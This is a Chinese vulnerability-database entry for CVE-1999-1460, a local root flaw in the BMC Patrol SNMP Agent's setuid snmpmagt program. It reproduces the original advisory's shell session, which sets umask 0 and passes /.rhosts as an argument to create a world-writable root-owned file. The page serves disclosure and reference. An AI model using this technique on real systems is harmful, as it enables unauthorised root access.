BMC Patrol SNMP Agent文件创建/许可漏洞

BMC Patrol SNMP Agent文件创建/许可漏洞

漏洞ID 1105491 漏洞类型 输入验证
发布时间 1999-07-14 更新时间 2005-10-20
图片[1]-BMC Patrol SNMP Agent文件创建/许可漏洞-安全小百科CVE编号 CVE-1999-1460
图片[2]-BMC Patrol SNMP Agent文件创建/许可漏洞-安全小百科CNNVD-ID CNNVD-199907-015
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19422
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199907-015
|漏洞详情
BMCPATROLSNMPAgent3.2.07之前的版本存在漏洞。本地用户可以通过指定目标文件作为snmpmagt程序的第二参数,来将任意全域可写文件创建为根。
|漏洞EXP
source: http://www.securityfocus.com/bid/525/info


Patrol 3.2, installed out of the box, allows for a local root compromise or denial of service. The vulnerability lies in the creation of a file by snmpagnt that is owned by the owner of the parent directory of the file and possibly world writeable. A local user can specify any file (/.rhosts) and create it / set the permissions according to the user's umask.

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al snmpmagt
-rwsr-xr-x 1 root users 185461 Mar 6 1998 snmpmagt*

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
/.rhosts not found

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> umask 0

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> snmpmagt yoyoyo /.rhosts

yoyoyo: No such file or directory
snmp bind failure: Address already in use
/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin/snmpmagt: error processing configuration

maheaa@jedi:/opt/patrol/PATROL3.2/HPUX-PA1.1-V10/bin> ls -al /.rhosts
-rw-rw-rw- 1 root users 770 Jul 13 14:42 .rhosts

note: If the file exists, it keeps the same perms and overwrites it
with "i^A" then the result of gethostname() and some whitespace. this
problem is not platform dependent and was tested based on out of box
install on an HP.
|参考资料

来源:BID
名称:525
链接:http://www.securityfocus.com/bid/525
来源:BUGTRAQ
名称:19990713RootPermsGainedwithPatrolSNMPAgent3.2(allothers?)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=93198293132463&w;=2
来源:BUGTRAQ
名称:19990801Re:RootPermsGainedwithPatrolSNMPAgent3.2(allothers?)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=93372579004129&w;=2

相关推荐: PowerPoint 程序自动运行漏洞

PowerPoint 程序自动运行漏洞 漏洞ID 1206768 漏洞类型 未知 发布时间 1999-12-31 更新时间 1999-12-31 CVE编号 CVE-1999-1474 CNNVD-ID CNNVD-199912-123 漏洞平台 N/A CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享